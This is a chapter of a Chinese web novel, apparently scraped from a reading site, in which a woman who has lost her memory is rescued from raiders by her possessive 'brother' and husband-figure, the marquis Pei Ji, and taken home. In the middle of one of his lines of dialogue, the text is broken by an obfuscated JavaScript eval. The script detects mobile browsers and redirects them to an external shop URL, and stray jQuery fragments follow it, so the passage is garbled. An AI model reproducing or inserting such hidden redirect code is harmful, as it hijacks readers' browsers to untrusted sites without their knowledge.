文趣网 > 其他小说 > 失忆后,成了兄长笼中雀 > 17. “窈窈,以后,别再乱跑了。”
    她话音未落,箭雨划破长空,呼啸而来。

    箭雨擦着叶舒锦脚边穿过,她一个踉跄,抱着匣子摔倒在地。紧接着,身后也传来重物倒地的一声声闷响。

    叶舒锦回过头,就见那些胡人都被射倒在地。她愣了愣,忙挣扎着爬起来,继续往前跑。

    就在这时,她听见桥上的人慌忙喊:“别伤到她!”

    她仰起头,就见裴霁慌忙从桥上跑下。他快步冲到叶舒锦面前,一把将她搂在怀中,身上披风牢牢将她裹住。

    “怎么是你?你怎么会招惹到胡人?”

    叶舒锦听见裴霁慌乱急切的声音,心底积压的情绪瞬间压不住,一张嘴便哭了出来,边哭边喊:“我,我还以为你要杀我……”

    裴霁在桥上下命令时的声音带着杀气,她脑子一乱,便以为裴霁知道了她逃走去见沈聿琤,所以想让弓箭手一起将她射死。

    裴霁焦急的语气里是强压着火气的无奈:“我……你穿着戴着兜帽,我没认出来,但我也没想杀你,我只是想拦住你身后的胡人……”

    楼上的侍卫快步赶了下来:“大人,这应当是最后一批作乱的胡人了,但没有靖王的身影。”

    裴霁看着地上那几个胡人,说道:“将他们带走审问。”

    叶舒锦静静靠在裴霁怀中,感受到让人安心的体温,她渐渐冷静下来。她从他怀中出来,将手中匣子拿出:“这是我捡到的东西,那些胡人就是因此才来追我的。”

    裴霁伸手接过那东西,眉头一皱,沉声道:“你怎么捡到这东西的?”

    叶舒锦垂下头,正想要找个合适的借口时,不远处忽然传来一道浑厚的声音。

    “侯爷!”

    是她在瞭望台遇见的那个将领。

    那将领目光落在叶舒锦身上,还未看清时,裴霁忽然一把将人按回了怀中。

    叶舒锦一愣,也没挣脱。就听那将领说道:“侯爷,火情已经控制住了,制造混乱的胡人也已经抓到了。”

    裴霁点了点头,没多说什么。那将领看着裴霁怀里的人,笑得一脸谄媚:“想必这就是侯夫人吧?今夜混乱,让侯夫人受惊,实在是属下的不是。若是侯夫人有需要的地方,属下一定肝脑涂地。”

    裴霁淡淡开口:“善后的事就交给你了,帮我寻一辆马车,我带我夫人回府。”

    那将领一听,连忙应下:“属下这就去办。”

    一旁的侍卫犹疑道:“侯爷,你这样岂不是将功劳交到了他手中。”

    裴霁看了一眼怀中的人,说道:“无妨,此事已经了结,我没有留在这的必要。”

    片刻后,叶舒锦被裴霁抱上了马车。裴霁全程将她笼罩在披风中,她直到上了马车才得以从披风中钻出来。

    叶舒锦从轿帷缝隙看着外面稀疏的灯笼,又看了看一侧阴沉着脸一言不发的裴霁。她咬咬唇,有意缓和气氛,问道:“裴霁,我很见不得人吗?怎么都不让我露面跟人说两句话。”

    裴霁坐在一侧,脸上神情有些晦暗不明,问道:“你想跟谁说话?”

    他话中意有所指,叶舒锦默默抿着唇,没有作答。

    裴霁也没再追问,半跪在叶舒锦面前,低头去看她脚上的伤。

    叶舒锦的鞋袜和裙摆都湿透了,上面还沾了不少灰尘,看着泥泞不堪。见裴霁朝她的脚伸出手,叶舒锦忙缩回脚:“我自己来就好。”

    说着,她自己脱掉了鞋袜,拿过一旁的帕子将被打湿的脚擦干净。

    抬头时,就见裴霁手里拿着一瓶药油。他低着头,借着轿内一盏昏暗的灯光将药油倒在手中,双手合十将药油搓热后,再次伸手过来。

    叶舒锦还是控制不住想缩脚,裴霁却一把拽住她受伤那只脚,手指在她红肿的地方不轻不重地按了一下。

    叶舒锦轻呼一声,痛得下意识缩脚,可裴霁将她脚抓得牢牢的。

    “窈窈,以后,别再乱跑了。”

    他声音听不出喜怒,语气低沉,叶舒锦莫名听出来一丝威胁的冷意。她一怔,没敢再动。

    很快,红肿的地方覆上一抹温热。

    叶舒锦缓缓低下头,看见裴霁双手覆在她脚踝上,正轻轻按摩着。他面上依旧是那副和煦的模样,手上力道正好,不轻却又不会让她觉得痛,甚至还有些舒服。

    叶舒锦松了口气,刚刚应该是这昏暗环境下生出的错觉。她放松下来,双手撑在坐垫上,伸着脚任他按摩。

    但她有些奇怪,今日的事,裴霁怎么一个字都不问?她心中本已琢磨了许多借口和说辞,裴霁不问,弄得她也不知该怎么主动解释才好。

    裴霁揉按着她的脚踝,余光看见她一只手在坐垫的丝绒上摩挲画圈,不由得叹息一声,心中也没了火气,柔声道:“你今日逃走,可知道我有多担心?”

    叶舒锦一顿,忙对他说出心里早就备好的说辞:“我是被人掳走的。”

    语气里还有些委屈。

    裴霁语气没什么波澜,问:“那是谁将你掳走的?慕盛武功极好,我还未见过能在他面前将人掳走的人。”

    叶舒锦道:“我也不知那人是怎么将我带出望香楼的,他想要带我离开,我不认得他,可我害怕他对我做出什么事来,就顺势跟着,后来才伺机跑了。但我不认得路,绕了许久才回到街上,谁知街上发生动乱,我被人群挤着,这才意外捡到了那匣子。”

    她一番话说得半真半假,漏洞一个接一个。

    从她离开望香楼到现在已过去半日,她若是真的被人掳走又跑回来,怎么会不知道街上四处都有人在寻她?况且她被带走时悄无声息,呼救都没发出。

    叶舒锦一边说着,一边偷偷观察着裴霁的反应。

    她知道,这次的事,无论她说得天花乱坠,裴霁也是会怀疑的,所以她只能将他的怀疑往另一个方向引。让他以为自己是因为想摆脱掉旁人自己去游玩才跟着别人离开。

    闻言,裴霁道:“那你可见过那人样貌?他可有跟你说什么?”

    叶舒锦摇头:“那人蒙着面,浑身裹得严严实实的,好像是有话想跟我说,但他想等到安全的地方再说,我想,或许是哄骗我的。”

    她想,裴霁定是会查出迎欢的,她只能尽量不透露迎欢的信息。

    裴霁听完,没有再多说什么。他认认真真给叶舒锦搽完药,随后将身上披风取下,盖在她腿上,略微无奈道:“下次别再乱跑了,你若是想出来玩,我陪着你。”

    叶舒锦乖乖点了点头。

    这时,一个侍卫走到了轿外,对着裴霁拱手道:“侯爷,找到靖王了……”

    侍卫透过轿帏看了一眼轿子中另一人,没有继续说下去。

    裴霁道:“无妨,说吧。”

    闻言,那侍卫才继续道:“他说想要见您一面,说是……说是见过侯夫人,他知道侯夫人的秘密。”

    闻言,叶舒锦和裴霁皆是一怔。

    叶舒锦瞬间想到自己那个木匣子,如果她没猜错,侍卫说的靖王应当是那个错拿她木匣的人。靖王定是通过那对木鸟知道了她想要去找沈聿琤的事情。

    靖王要是将这事告诉裴霁该怎么办?

    而一旁的裴霁,也是眉头紧蹙,他沉吟片刻,说道:“先将他稳住,等太子从宫内出来后我再去见他……”

    他语气顿了顿,用着极轻的语气嘱咐道:“命人好好看着,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17886675|212573||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    若他敢胡言乱语,就将他舌头割了。”

    他语气轻飘飘的,以至于等到侍卫领命离开,叶舒锦才反应过来他刚刚说了什么。

    她有些胆寒,许是裴霁平日看起来温润和煦,所以她有些难以接受他这样的命令。这对于相反立场的敌人来说,或许是很常见的手段,只是……她忍不住担心,若是之后她于他而言没有了利用价值,她又会落得一个什么下场?

    她始终认为,裴霁不会无缘无故留下她,他留下她定然是因为她身上有着他想要的东西,只是目前她还未发现。

    回府后,叶舒锦先进屋沐浴换洗。换完衣服出来后不久,裴霁便命人送来了一些饭菜、糕点、以及一个模样精致的月饼灯笼。

    那灯笼被裴霁提在手中,他换了一身月灰色云纹锦袍,衣襟以银线绣着木樨桂花,纹样浅淡,在灯笼柔白亮光下若隐若现。圆圆的月饼形状的灯笼在他手中也多了几分闲雅。

    他将灯笼递给叶舒锦,说道:“我瞧着这灯笼明亮可爱,想着你会喜欢,便买来给你玩玩。”

    叶舒锦伸手接过那灯笼,灯笼上绘着月兔捣药的精致画面,纸面上还隐隐透出一股桂花香,她惊讶道:“这纸上有桂花香味。”

    裴霁笑道:“许是匠人的独出心裁。”

    他说着,又打开一个食盒,里面是叶舒锦之前提到的望香楼的糕点。

    “随你出行的小丫鬟说,你在望香楼没吃上东西,我让人买了一些,你尝尝。”

    叶舒锦看到了好几样不同模样的糕点,其中两个是她之前吃过的月桂糕,还有蟹壳黄。

    裴霁道:“上次我让大夫看过,你并无过敏症状,兴许是当时你身体不适以及马车颠簸才会呕吐,这次你再尝尝看?”

    他目光沉沉,话中带着一丝难以言明仿佛期待又仿佛是担忧的矛盾情绪。

    叶舒锦满心都在糕点上,开开心心拿起一块金黄的糕点,说道:“我也觉得上次是马车颠簸的原因,这个我很喜欢吃。”

    她张口就要咬下,裴霁却又忽而拦住她。

    “你,咬小口一些,我记得上次夏桃说你不能吃这个。”

    叶舒锦见他这样,不免心中奇怪,甚至在猜这糕点里是不是放了什么药?但转念一想又不可能,他要下药何必这么大费周章。

    她听了裴霁的话,张嘴想要小小咬下一口先试试,谁知刚到嘴边,她忽然没来由地觉得一阵头晕恶心。

    她忙将手中糕点放下,皱眉道:“我感觉,不太舒服……”

    裴霁忙道:“不舒服不吃了,来人,将东西拿下去。”

    吃完一顿饭,叶舒锦便在院内散步消食。裴霁心事重重的样子,去了书房,直到叶舒锦回屋睡觉时都没回来。

    叶舒锦心中却是想着沈聿琤的事情,因为担心被怀疑,她根本不敢问沈聿琤的事情,只能等明日找机会问问其他人,看看沈聿琤是不是暂时安全了。

    兴许是睡前想得太多,她这一晚做了很多梦。

    梦境凌乱琐碎,她只记得其中一个画面。

    灯火摇曳的院内,一地湿冷,满地是被雨水打落的桂花,一位半大的少年跪在桂树下的青石板上。他身侧站着一位妇人,妇人拿着鞭子用力打在少年背上,一边打一边骂。

    那少年被打得皮开肉绽,却一声不吭。

    叶舒锦看向那少年,下意识想要靠近,那妇人突然朝她看来,吼道:“你还知道哭,你以为我不知道是你干的好事?!”

    叶舒锦清醒过来后,在床上失神躺了许久。

    梦中场景很是熟悉,近处回廊蜿蜒曲折,远处山峦重叠,似乎是她之前住的那个庄子。那个少年又是谁?